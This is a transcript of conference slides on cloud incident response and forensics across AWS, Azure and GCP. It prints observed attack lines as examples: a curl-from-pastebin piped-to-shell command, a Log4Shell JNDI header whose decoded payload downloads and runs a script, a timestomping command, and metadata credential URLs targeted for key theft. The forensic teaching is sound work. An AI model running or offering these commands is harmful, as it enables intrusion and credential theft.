SlideShare una empresa de Scribd logo
1 de 52
Descargar para leer sin conexión
A New Perspective on
Resource-Level Cloud Forensics
today we’ll learn by example how to combine
analysis of both logs and resources
to respond to incidents in the cloud
in the cloud…
can you identify root cause with just logs?
it depends…
Cloud Forensics = Log Analysis?
Cado Security | 4
Cloud
(Control Plane)
Forensics
Host Forensics Log Forensics Network Forensics
Cloud Forensics if it means “forensics of a cloud estate”
Cloud Forensics if it means “forensics of cloud
provider control plane”
cloud forensics
1. The application of scientific knowledge to legal problems in the cloud
* sorry for defining forensics in a room full of forensic experts
Cloud Incident Domains According to AWS
See “Cloud Security Incident Domains” in the AWS Security Incident Response Guide
Service Domain Infrastructure domain Application Domain
Identity & Access Management (IAM)
Billing
Virtual Machines
Containers
Application Code
Deployed Software
Control Plane Data Plane
Create/Delete/Edit Resources
Identity & Access Management (IAM)
Resources Themselves
Auth Data Plane
Control Plan & Data Plane
● Last year’s SANS DFIR keynote by Josh Lemon & Megan Roddie:
“DFIR Evidence Collection and Preservation for the Cloud”
● Key take-away (for me): Enable all the logs
Previously on Cloud Forensics at SANS….
There are Undocumented Logs & Unavailable Logs
“What standards should forensics professionals hold ourselves to, for
disclosure of ‘0-day forensic artifacts’?
What is the responsibility of service providers such as Microsoft, to support
forensic investigations?
It’s time to establish standards for audit logging and preservation in the cloud”
And there are Expensive Logs…
definitions are boring…
so here is an example
Cado Security | 12
Initial Access with StackSet Phishing
Cado Security | 13
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
EvilRoleInYourAccount:
Effect: Allow
Principal: arn:aws:iam::AttackersAccount
Action: 'sts:AssumeRole'
...AmazonSSMFullAccess…
● Phishing convinces admin to deploy StackSet
● StackSet creates enables attackers AWS account to run commands
against EC2s in victim account via SSM
● See “Lesser Known Techniques for Attacking AWS Environments” by
Scott Piper
Cloudtrail Logs
Enabled by default
90 days of data free
Cado Security | 14
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole
"EventName": "CreateRole",
"EventTime": "2023-07-29T14:09:40+01:00" ,
"EventSource": "iam.amazonaws.com" ,
"Resources": [
{
"ResourceType" : "AWS::IAM::Role" ,
"ResourceName" : "EvilRoleInYourAccount"
}
Azure Google Cloud
Azure Monitor / Audit Logs Audit Logs: System & Admin
Azure and GCP Equivalent Data
See last years Keynote for more
Lateral Movement with SSM Run Command
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Attacker executes SSM commands using their trusted role in victims account
This means they can run commands against any EC2 with SSM enabled
See “cross account ssm start session” on Stackoverflow
aws ec2 describe-instances --region
aws ssm start-session --target i-001
whoami
SSM logged in CloudWatch and S3
Logs execution to CloudWatch or S3
Includes detailed Session Data
Disabled by default
EC2 Instance needs IAM permissions
From “How to search through your AWS Systems Manager Session Manager console logs” by AWS
SSM “Official” Logs
Logs live under /var/log/amazon/ssm/
Can forward with CloudWatch Agent/SIEM
Or pull from disk
More for diagnostics
Generally not that useful for security
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] received plugin:
aws:runShellScript result from Processor
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] Sending reply {
"additionalInfo": {
"agent": {
amazon-ssm-agent.log
Undocumented SSM Logs
sh-4.2$
[ec2-user@ip-10-0-2-54 ~]$ ls
key
[ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt
s3://eu-west-1-prod-data --region eu-west-1
Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1
file(s) remaining
[ec2-user@ip-10-0-2-54 ~]$ logout
sh-4.2$ exit
The best data is in an undocumented log called
ipcTempFile.log
Contains full session data, both directions
Credit to Al & Korstiaan for the discovery
Linux:
/var/lib/amazon/ssm/<EC2-INSTANCE-ID>/ses
sion/orchestration/<USER>-<RANDOM ID>/
Windows:
C:ProgramDataAmazonSSMInstanceData<
EC2 INSTANCE ID>sessionorchestration
ipcTempFile.log
See “IPC YOU: How the Cado Platform Reveals Attacker Command Outputs” by Cado Security
What is logged?
● Data Access Log - not enabled by default
● Catches invocations of gcloud compute ssh
● No distinction between remote command invocation and generic SSH login events
● No difference even when Gcloud Monitoring agent enabled
● Investigator “blind” without auditd enabled
GCP Equivalent: gcloud compute
Methods of interacting with Linux Compute VMs:
● gcloud compute ssh –zone ZONE INSTANCE – ‘<run command here>’
● Won’t log to histfile
● No ipcTempfile.log equivalent (sadly!)
● Gcloud Monitoring agent disabled by default
GCP Equivalent: Gcloud Compute Interaction
GCP Equivalent: gcloud compute
Azure Equivalent : Run Command
From “Azure Run Command for Dummies” from Mandiant
az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts
@myscript.ps1 --parameters "arg1=firstarg"
No public references I could find on “cloud agent forensic artifacts”
Other than SSM by Cado Security and on Run Command by
Mandiant
“It’s time to establish standards for audit logging and
preservation in the cloud”
Attack: Persistence: Install Malware on EC2
Install Malware on EC2
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Now we’re in the realm of classic host forensics
But some things are still different in the cloud…
curl https://pastebin.com/raw/1ahZ | sh
Anti-Forensics in cloud resources is surprisingly common…
But it’s not this:
The Shadow Brokers: eventlogedit
Can you trust resource-level data?
It’s this
27
CoinStomp: touch -t20230101 /usr/bin/modusr
WatchDog - Rudimentary Process Hider
28
● Recent campaign has some interesting detection evasion
● Similar timestomping technique
● The most UNIX-y process hider ever!
WatchDog - Hidden-ish directory
29
WatchDog - Renaming data transfer utilities
30
Coinstomp - Timestamp Manipulation
31
CoinStomp - Timestamp Manipulation
32
sometimes you can’t find
root cause…
without the files
Cado Security | 33
Getting an EC2 Disk/Volume
Typical Process:
● Snapshot Volume
● Turn Snapshot into new Volume
● Attach Volume to an EC2
● Upload DD to S3
● Why is it so hard to get a disk image?
● https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2
Issues:
- Performance - Fast Snapshot Restore
- Marketplace Codes
Alternative Options:
- Block API - https://github.com/awslabs/coldsnap
- Transfer Disk, in Parallel with Processing
Alternatives to Full Disk in AWS
● Acquire triage files using SSM
See “Automated Triage Collection at Scale in the AWS Cloud” by Ryan Tick
● EDR - If installed
● GuardDuty can now anti-virus scan volumes for you
Azure Equivalent: Getting a Disk
● Easy .VHD download link :)
● But network is flaky :(
● Wrap the API call with *lots* of retries
● Particularly bad in certain regions
● Noticeably worse for a period in May/June - DDoS?
GCP Equivalent: Getting a Disk
● Create Image
● Export Image to Cloud Storage (VMDK, VHDX, VPC, QCOW2)
● Download from Cloud Storage
● Fast Reliable Downloads
cloud* kubernetes* ransomware*
* buzzword bingo
Cado Security | 38
Log4Shell Exploit of App in Pod for Initial Access
Exploit App in EKS
POST / HTTP/1.1
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBo…==}
Host: 89.188.76.250
Decoded: wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
See “Cloud lateral movement: Breaking in through a vulnerable container” by SysDig
“Log4Shell Hell: anatomy of an exploit outbreak” by Sophos
Lateral Movement: Steal Keys from Container MetaData Service
Exploit App in EKS Hit Metadata URL
● 169.254.169.254
● /iam/security/credentials
● 169.254.170.2 - EKS!
See “TeamTNT Script Employed to Grab AWS Credentials” by Cado Security
AWS Cloud
VPC
EKS on EC2
Web Server in Container
?
Optional Logs in S3 *
kube-apiserver-
kube-apiserver-audit-
authenticator-
kube-controller-manager-
kube-scheduler-
Inaccessible Logs *
Logs in Other Services *
Traffic mirroring *
O/S Logs *
Docker File System *
(Forensic Artifacts,
Malware…)
Docker Logs *
Volatile Data*
O/S Logs *
Native File System*
(Forensic Artifacts, Malware…)
Volatile Data*
* Logs * Not Logs
Response: Data Sources for a compromise in EKS on EC2
Getting the Data
The web server logs the malicious script and other file system activity to work out what happened
here
EKS on EC2?
● Grab the data the whole volume from the node. Typically overlay2 versioned filesystem.
Can also grab files from inside the container using Kubernetes API
● Also grab memory from inside the container too as CAP_SYS_PTRACE is typically enabled
See “How we Sped up Acquiring Forensic Data From Managed Kubernetes Services by 97% by
Rebuilding the SDK” by Cado Security for sample code
As you can see, there is a lot here…
For more, go back in time 1 hour and see:
“EKS Incident Response and Forensic Analysis”
by Jonathon Poling
Ransom S3 Bucket
S3 Ransomware Example
Exploit App in EKS Hit Metadata URL
S3 Ransomware
See “The anatomy of ransomware event targeting data residing in Amazon S3”
Most Common Causes:
1. IAM Access Key Accidental Disclosure
2. Vulnerability on EC2 with IAM Profile and IMDSv1 → STS Token
Was it data-destruction - or data theft and extortion?
● If you previously enabled S3 CloudWatch Metrics: BytesDownloaded
● If you previously enabled S3 Object Level Logging in CloudTrail:
● Cost Explorer has region-DataTransfer-Out-Bytes enabled by default so you can be billed
● Look for bucket-level events enabled by default in CloudTrail e.g.s3:ListBuckets,
s3:GetBucketLocation
● Look for IAM events enabled by default in CloudTrail relating to granting S3 permissions
^ All “cloud level” logs
Response
● S3 Object Lock
● S3 Versioning
● Backups!
● GuardDuty
● Stolen IAM Access?
In Summary…
● Need to look at both resources and logs
● Make sure logs are turned on
● Make sure you can access resources
Make sure your cloud logs are turned on
● “Logging in the Cloud: From Zero to (Incident Response) Hero”
by Jonathon Poling [AWS, GCP, Azure]
● https://github.com/prowler-cloud/prowler [AWS, GCP, Azure]
● Spreadsheet of where each services logs: https://bit.ly/3XidVm3 [AWS]
● https://github.com/awslabs/assisted-log-enabler-for-aws [AWS]
● FOR509
Make sure you can access resource-level data
● Set up permissions, roles and configurations in advance
○ e.g. Can you ECS Exec to your ECS Containers?
● Practice and test your access in advance, continually
○ It will degrade!
● Forward logs from resources to CloudWatch or SIEM. But $$$
● EDR can help, if installed
● FOR509 “Enterprise Cloud Forensics and Incident Response”
○ && FOR577 Linux Threat Hunting & Incident Response (new)
For more examples of real world cloud attacks, see:
● “Cloud Security Atlas” by DataDog
● https://github.com/ramimac/aws-customer-security-incidents (related)
Questions?
twitter: @chrisdoman
cdoman@cadosecurity.com

Más contenido relacionado

La actualidad más candente

Cyber Crime and Security
Cyber Crime and SecurityCyber Crime and Security
Cyber Crime and SecurityDipesh Waghela
 
Lecture2 Introduction to Digital Forensics.ppt
Lecture2 Introduction to Digital Forensics.pptLecture2 Introduction to Digital Forensics.ppt
Lecture2 Introduction to Digital Forensics.pptSurajgroupsvideo
 
Ransomware Presentation.pptx
Ransomware Presentation.pptxRansomware Presentation.pptx
Ransomware Presentation.pptxMirMurtaza39
 
Malicious software
Malicious softwareMalicious software
Malicious softwareCAS
 
Understanding Cyber Attack - Cyber Kill Chain.pdf
Understanding Cyber Attack - Cyber Kill Chain.pdfUnderstanding Cyber Attack - Cyber Kill Chain.pdf
Understanding Cyber Attack - Cyber Kill Chain.pdfslametarrokhim1
 
How to build a cyber threat intelligence program
How to build a cyber threat intelligence programHow to build a cyber threat intelligence program
How to build a cyber threat intelligence programMark Arena
 
Adversary Emulation - DerpCon
Adversary Emulation - DerpConAdversary Emulation - DerpCon
Adversary Emulation - DerpConJorge Orchilles
 
Social engineering attacks
Social engineering attacksSocial engineering attacks
Social engineering attacksRamiro Cid
 
Metasploit
MetasploitMetasploit
Metasploithenelpj
 
Technical Approach to Red Team Operations
Technical Approach to Red Team OperationsTechnical Approach to Red Team Operations
Technical Approach to Red Team OperationsEduardo Arriols Nuñez
 
Incident response methodology
Incident response methodologyIncident response methodology
Incident response methodologyPiyush Jain
 
Program security
Program securityProgram security
Program securityG Prachi
 
Full seminar report on ethical hacking
Full seminar report on ethical hackingFull seminar report on ethical hacking
Full seminar report on ethical hackingGeorgekutty Francis
 
Understanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationUnderstanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationPECB
 
Spyware powerpoint
Spyware powerpointSpyware powerpoint
Spyware powerpointgalaxy201
 
What is Threat Hunting? - Panda Security
What is Threat Hunting? - Panda SecurityWhat is Threat Hunting? - Panda Security
What is Threat Hunting? - Panda SecurityPanda Security
 
Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learningSecurity Bootcamp
 

La actualidad más candente (20)

Cyber Crime and Security
Cyber Crime and SecurityCyber Crime and Security
Cyber Crime and Security
 
Lecture2 Introduction to Digital Forensics.ppt
Lecture2 Introduction to Digital Forensics.pptLecture2 Introduction to Digital Forensics.ppt
Lecture2 Introduction to Digital Forensics.ppt
 
Ransomware Presentation.pptx
Ransomware Presentation.pptxRansomware Presentation.pptx
Ransomware Presentation.pptx
 
Malicious software
Malicious softwareMalicious software
Malicious software
 
Understanding Cyber Attack - Cyber Kill Chain.pdf
Understanding Cyber Attack - Cyber Kill Chain.pdfUnderstanding Cyber Attack - Cyber Kill Chain.pdf
Understanding Cyber Attack - Cyber Kill Chain.pdf
 
How to build a cyber threat intelligence program
How to build a cyber threat intelligence programHow to build a cyber threat intelligence program
How to build a cyber threat intelligence program
 
Adversary Emulation - DerpCon
Adversary Emulation - DerpConAdversary Emulation - DerpCon
Adversary Emulation - DerpCon
 
Social engineering attacks
Social engineering attacksSocial engineering attacks
Social engineering attacks
 
Metasploit
MetasploitMetasploit
Metasploit
 
Technical Approach to Red Team Operations
Technical Approach to Red Team OperationsTechnical Approach to Red Team Operations
Technical Approach to Red Team Operations
 
Incident response methodology
Incident response methodologyIncident response methodology
Incident response methodology
 
Types of attacks
Types of attacksTypes of attacks
Types of attacks
 
Program security
Program securityProgram security
Program security
 
Web Server Hardening
Web Server HardeningWeb Server Hardening
Web Server Hardening
 
Full seminar report on ethical hacking
Full seminar report on ethical hackingFull seminar report on ethical hacking
Full seminar report on ethical hacking
 
Understanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationUnderstanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for Organization
 
Computer forensics ppt
Computer forensics pptComputer forensics ppt
Computer forensics ppt
 
Spyware powerpoint
Spyware powerpointSpyware powerpoint
Spyware powerpoint
 
What is Threat Hunting? - Panda Security
What is Threat Hunting? - Panda SecurityWhat is Threat Hunting? - Panda Security
What is Threat Hunting? - Panda Security
 
Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learning
 

Similar a A New Perspective on Resource-Level Cloud Forensics

The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdfThe Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdfChristopher Doman
 
Automated Intrusion Detection and Response on AWS
Automated Intrusion Detection and Response on AWSAutomated Intrusion Detection and Response on AWS
Automated Intrusion Detection and Response on AWSTeri Radichel
 
Digital Forensics and Incident Response in The Cloud
Digital Forensics and Incident Response in The CloudDigital Forensics and Incident Response in The Cloud
Digital Forensics and Incident Response in The CloudVelocidex Enterprises
 
Case Studies A Kubernetes DFIR investigation.pdf
Case Studies A Kubernetes DFIR investigation.pdfCase Studies A Kubernetes DFIR investigation.pdf
Case Studies A Kubernetes DFIR investigation.pdfChristopher Doman
 
Cloud and Kubernetes Memory Forensics webinar.pdf
Cloud and Kubernetes Memory Forensics webinar.pdfCloud and Kubernetes Memory Forensics webinar.pdf
Cloud and Kubernetes Memory Forensics webinar.pdfChristopher Doman
 
Phil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerPhil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerAWSCOMSUM
 
Platform Engineering with the CDK
Platform Engineering with the CDKPlatform Engineering with the CDK
Platform Engineering with the CDKSander Knape
 
Machine learning at scale with aws sage maker
Machine learning at scale with aws sage makerMachine learning at scale with aws sage maker
Machine learning at scale with aws sage makerPhilipBasford
 
Digital Forensics and Incident Response in The Cloud Part 3
Digital Forensics and Incident Response in The Cloud Part 3Digital Forensics and Incident Response in The Cloud Part 3
Digital Forensics and Incident Response in The Cloud Part 3Velocidex Enterprises
 
Building A Cloud Security Strategy for Scale
Building A Cloud Security Strategy for ScaleBuilding A Cloud Security Strategy for Scale
Building A Cloud Security Strategy for ScaleChris Farris
 
Ultimate Guide to Incident Response in AWS.pdf
Ultimate Guide to Incident Response in AWS.pdfUltimate Guide to Incident Response in AWS.pdf
Ultimate Guide to Incident Response in AWS.pdfChristopher Doman
 
DevOps, Microservices and Serverless Architecture
DevOps, Microservices and Serverless ArchitectureDevOps, Microservices and Serverless Architecture
DevOps, Microservices and Serverless ArchitectureMikhail Prudnikov
 
Native cloud security monitoring
Native cloud security monitoringNative cloud security monitoring
Native cloud security monitoringJohn Varghese
 
Containerless in the Cloud with AWS Lambda
Containerless in the Cloud with AWS LambdaContainerless in the Cloud with AWS Lambda
Containerless in the Cloud with AWS LambdaRyan Cuprak
 
Cloud Run - the rise of serverless and containerization
Cloud Run - the rise of serverless and containerizationCloud Run - the rise of serverless and containerization
Cloud Run - the rise of serverless and containerizationMárton Kodok
 
Incident response-in-the-cloud
Incident response-in-the-cloudIncident response-in-the-cloud
Incident response-in-the-cloudPriyanka Aash
 
Monitoring Containers at Scale - September Webinar Series
Monitoring Containers at Scale - September Webinar SeriesMonitoring Containers at Scale - September Webinar Series
Monitoring Containers at Scale - September Webinar SeriesAmazon Web Services
 
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDutyAWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDutyChris Farris
 

Similar a A New Perspective on Resource-Level Cloud Forensics (20)

The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdfThe Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
 
Automated Intrusion Detection and Response on AWS
Automated Intrusion Detection and Response on AWSAutomated Intrusion Detection and Response on AWS
Automated Intrusion Detection and Response on AWS
 
Digital Forensics and Incident Response in The Cloud
Digital Forensics and Incident Response in The CloudDigital Forensics and Incident Response in The Cloud
Digital Forensics and Incident Response in The Cloud
 
Case Studies A Kubernetes DFIR investigation.pdf
Case Studies A Kubernetes DFIR investigation.pdfCase Studies A Kubernetes DFIR investigation.pdf
Case Studies A Kubernetes DFIR investigation.pdf
 
Cloud and Kubernetes Memory Forensics webinar.pdf
Cloud and Kubernetes Memory Forensics webinar.pdfCloud and Kubernetes Memory Forensics webinar.pdf
Cloud and Kubernetes Memory Forensics webinar.pdf
 
Phil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerPhil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage maker
 
Platform Engineering with the CDK
Platform Engineering with the CDKPlatform Engineering with the CDK
Platform Engineering with the CDK
 
Machine learning at scale with aws sage maker
Machine learning at scale with aws sage makerMachine learning at scale with aws sage maker
Machine learning at scale with aws sage maker
 
Digital Forensics and Incident Response in The Cloud Part 3
Digital Forensics and Incident Response in The Cloud Part 3Digital Forensics and Incident Response in The Cloud Part 3
Digital Forensics and Incident Response in The Cloud Part 3
 
Building A Cloud Security Strategy for Scale
Building A Cloud Security Strategy for ScaleBuilding A Cloud Security Strategy for Scale
Building A Cloud Security Strategy for Scale
 
Ultimate Guide to Incident Response in AWS.pdf
Ultimate Guide to Incident Response in AWS.pdfUltimate Guide to Incident Response in AWS.pdf
Ultimate Guide to Incident Response in AWS.pdf
 
DevOps, Microservices and Serverless Architecture
DevOps, Microservices and Serverless ArchitectureDevOps, Microservices and Serverless Architecture
DevOps, Microservices and Serverless Architecture
 
Native cloud security monitoring
Native cloud security monitoringNative cloud security monitoring
Native cloud security monitoring
 
Containerless in the Cloud with AWS Lambda
Containerless in the Cloud with AWS LambdaContainerless in the Cloud with AWS Lambda
Containerless in the Cloud with AWS Lambda
 
CI/CD on pure AWS
CI/CD on pure AWSCI/CD on pure AWS
CI/CD on pure AWS
 
Cloud Run - the rise of serverless and containerization
Cloud Run - the rise of serverless and containerizationCloud Run - the rise of serverless and containerization
Cloud Run - the rise of serverless and containerization
 
Incident response-in-the-cloud
Incident response-in-the-cloudIncident response-in-the-cloud
Incident response-in-the-cloud
 
Monitoring Containers at Scale - September Webinar Series
Monitoring Containers at Scale - September Webinar SeriesMonitoring Containers at Scale - September Webinar Series
Monitoring Containers at Scale - September Webinar Series
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
 
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDutyAWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
 

Más de Christopher Doman

Five Reasons Why You Need Cloud Investigation & Response Automation
Five Reasons Why You Need Cloud Investigation & Response AutomationFive Reasons Why You Need Cloud Investigation & Response Automation
Five Reasons Why You Need Cloud Investigation & Response AutomationChristopher Doman
 
Azure Incident Response Cheat Sheet.pdf
Azure Incident Response Cheat Sheet.pdfAzure Incident Response Cheat Sheet.pdf
Azure Incident Response Cheat Sheet.pdfChristopher Doman
 
AWS Incident Response Cheat Sheet.pdf
AWS Incident Response Cheat Sheet.pdfAWS Incident Response Cheat Sheet.pdf
AWS Incident Response Cheat Sheet.pdfChristopher Doman
 
Cloud Forensics and Incident Response Training.pdf
Cloud Forensics and Incident Response Training.pdfCloud Forensics and Incident Response Training.pdf
Cloud Forensics and Incident Response Training.pdfChristopher Doman
 
AWS Guard Duty Forensics & Incident Response.pdf
AWS Guard Duty Forensics & Incident Response.pdfAWS Guard Duty Forensics & Incident Response.pdf
AWS Guard Duty Forensics & Incident Response.pdfChristopher Doman
 
EKS Forensics & Incident Response.pdf
EKS Forensics & Incident Response.pdfEKS Forensics & Incident Response.pdf
EKS Forensics & Incident Response.pdfChristopher Doman
 
AWS IAM Forensics & Incident Response
AWS IAM Forensics & Incident ResponseAWS IAM Forensics & Incident Response
AWS IAM Forensics & Incident ResponseChristopher Doman
 
AWS Forensics & Incident Response
AWS Forensics & Incident ResponseAWS Forensics & Incident Response
AWS Forensics & Incident ResponseChristopher Doman
 
Lambda Forensics & Incident Response.pdf
Lambda Forensics & Incident Response.pdfLambda Forensics & Incident Response.pdf
Lambda Forensics & Incident Response.pdfChristopher Doman
 
Case Studies Denonia - Lambda DFIR.pdf
Case Studies Denonia - Lambda DFIR.pdfCase Studies Denonia - Lambda DFIR.pdf
Case Studies Denonia - Lambda DFIR.pdfChristopher Doman
 
Cloud Security Fundamentals for Forensics and Incident Response.pdf
Cloud Security Fundamentals for Forensics and Incident Response.pdfCloud Security Fundamentals for Forensics and Incident Response.pdf
Cloud Security Fundamentals for Forensics and Incident Response.pdfChristopher Doman
 
AWS Detective Forensics & Incident Response.pdf
AWS Detective Forensics & Incident Response.pdfAWS Detective Forensics & Incident Response.pdf
AWS Detective Forensics & Incident Response.pdfChristopher Doman
 
Google Cloud Forensics & Incident Response
Google Cloud Forensics & Incident ResponseGoogle Cloud Forensics & Incident Response
Google Cloud Forensics & Incident ResponseChristopher Doman
 
GKE Forensics & Incident Response.pdf
GKE Forensics & Incident Response.pdfGKE Forensics & Incident Response.pdf
GKE Forensics & Incident Response.pdfChristopher Doman
 
AWS SSM Forensics and Incident Response
AWS SSM Forensics and Incident ResponseAWS SSM Forensics and Incident Response
AWS SSM Forensics and Incident ResponseChristopher Doman
 
Kubernetes Docker Forensics & Incident Response.pdf
Kubernetes Docker Forensics & Incident Response.pdfKubernetes Docker Forensics & Incident Response.pdf
Kubernetes Docker Forensics & Incident Response.pdfChristopher Doman
 
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdf
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdfCase Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdf
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdfChristopher Doman
 
EC2 Forensics & Incident Response.pdf
EC2 Forensics & Incident Response.pdfEC2 Forensics & Incident Response.pdf
EC2 Forensics & Incident Response.pdfChristopher Doman
 
ECS Forensics & Incident Response
ECS Forensics & Incident ResponseECS Forensics & Incident Response
ECS Forensics & Incident ResponseChristopher Doman
 

Más de Christopher Doman (20)

Five Reasons Why You Need Cloud Investigation & Response Automation
Five Reasons Why You Need Cloud Investigation & Response AutomationFive Reasons Why You Need Cloud Investigation & Response Automation
Five Reasons Why You Need Cloud Investigation & Response Automation
 
Azure Incident Response Cheat Sheet.pdf
Azure Incident Response Cheat Sheet.pdfAzure Incident Response Cheat Sheet.pdf
Azure Incident Response Cheat Sheet.pdf
 
AWS Incident Response Cheat Sheet.pdf
AWS Incident Response Cheat Sheet.pdfAWS Incident Response Cheat Sheet.pdf
AWS Incident Response Cheat Sheet.pdf
 
Cloud Forensics Tools
Cloud Forensics ToolsCloud Forensics Tools
Cloud Forensics Tools
 
Cloud Forensics and Incident Response Training.pdf
Cloud Forensics and Incident Response Training.pdfCloud Forensics and Incident Response Training.pdf
Cloud Forensics and Incident Response Training.pdf
 
AWS Guard Duty Forensics & Incident Response.pdf
AWS Guard Duty Forensics & Incident Response.pdfAWS Guard Duty Forensics & Incident Response.pdf
AWS Guard Duty Forensics & Incident Response.pdf
 
EKS Forensics & Incident Response.pdf
EKS Forensics & Incident Response.pdfEKS Forensics & Incident Response.pdf
EKS Forensics & Incident Response.pdf
 
AWS IAM Forensics & Incident Response
AWS IAM Forensics & Incident ResponseAWS IAM Forensics & Incident Response
AWS IAM Forensics & Incident Response
 
AWS Forensics & Incident Response
AWS Forensics & Incident ResponseAWS Forensics & Incident Response
AWS Forensics & Incident Response
 
Lambda Forensics & Incident Response.pdf
Lambda Forensics & Incident Response.pdfLambda Forensics & Incident Response.pdf
Lambda Forensics & Incident Response.pdf
 
Case Studies Denonia - Lambda DFIR.pdf
Case Studies Denonia - Lambda DFIR.pdfCase Studies Denonia - Lambda DFIR.pdf
Case Studies Denonia - Lambda DFIR.pdf
 
Cloud Security Fundamentals for Forensics and Incident Response.pdf
Cloud Security Fundamentals for Forensics and Incident Response.pdfCloud Security Fundamentals for Forensics and Incident Response.pdf
Cloud Security Fundamentals for Forensics and Incident Response.pdf
 
AWS Detective Forensics & Incident Response.pdf
AWS Detective Forensics & Incident Response.pdfAWS Detective Forensics & Incident Response.pdf
AWS Detective Forensics & Incident Response.pdf
 
Google Cloud Forensics & Incident Response
Google Cloud Forensics & Incident ResponseGoogle Cloud Forensics & Incident Response
Google Cloud Forensics & Incident Response
 
GKE Forensics & Incident Response.pdf
GKE Forensics & Incident Response.pdfGKE Forensics & Incident Response.pdf
GKE Forensics & Incident Response.pdf
 
AWS SSM Forensics and Incident Response
AWS SSM Forensics and Incident ResponseAWS SSM Forensics and Incident Response
AWS SSM Forensics and Incident Response
 
Kubernetes Docker Forensics & Incident Response.pdf
Kubernetes Docker Forensics & Incident Response.pdfKubernetes Docker Forensics & Incident Response.pdf
Kubernetes Docker Forensics & Incident Response.pdf
 
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdf
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdfCase Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdf
Case Studies TeamTNT - AWS & Container Cryptomining Worm DFIR.pdf
 
EC2 Forensics & Incident Response.pdf
EC2 Forensics & Incident Response.pdfEC2 Forensics & Incident Response.pdf
EC2 Forensics & Incident Response.pdf
 
ECS Forensics & Incident Response
ECS Forensics & Incident ResponseECS Forensics & Incident Response
ECS Forensics & Incident Response
 

Último

Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...
Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...
Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...Eticketing.co
 
Techniques for those who create fantasy sports Developers
Techniques for those who create fantasy sports DevelopersTechniques for those who create fantasy sports Developers
Techniques for those who create fantasy sports DevelopersAndrew Mathew
 
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdf
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdfJORNADA 7 LIGA MURO 2024BASQUETBOL12.pdf
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdfArturo Pacheco Alvarez
 
IPL Betting ID: The best cricket ID provider | The best beting ID
IPL Betting ID: The best cricket ID provider | The best beting IDIPL Betting ID: The best cricket ID provider | The best beting ID
IPL Betting ID: The best cricket ID provider | The best beting IDsilverexchange id
 
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...World Wide Tickets And Hospitality
 
2024 IFFL DRAFT LOTTERY REVIEW-5.12.2024
2024 IFFL DRAFT LOTTERY REVIEW-5.12.20242024 IFFL DRAFT LOTTERY REVIEW-5.12.2024
2024 IFFL DRAFT LOTTERY REVIEW-5.12.2024Brian Slack
 
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777silverexchange id
 
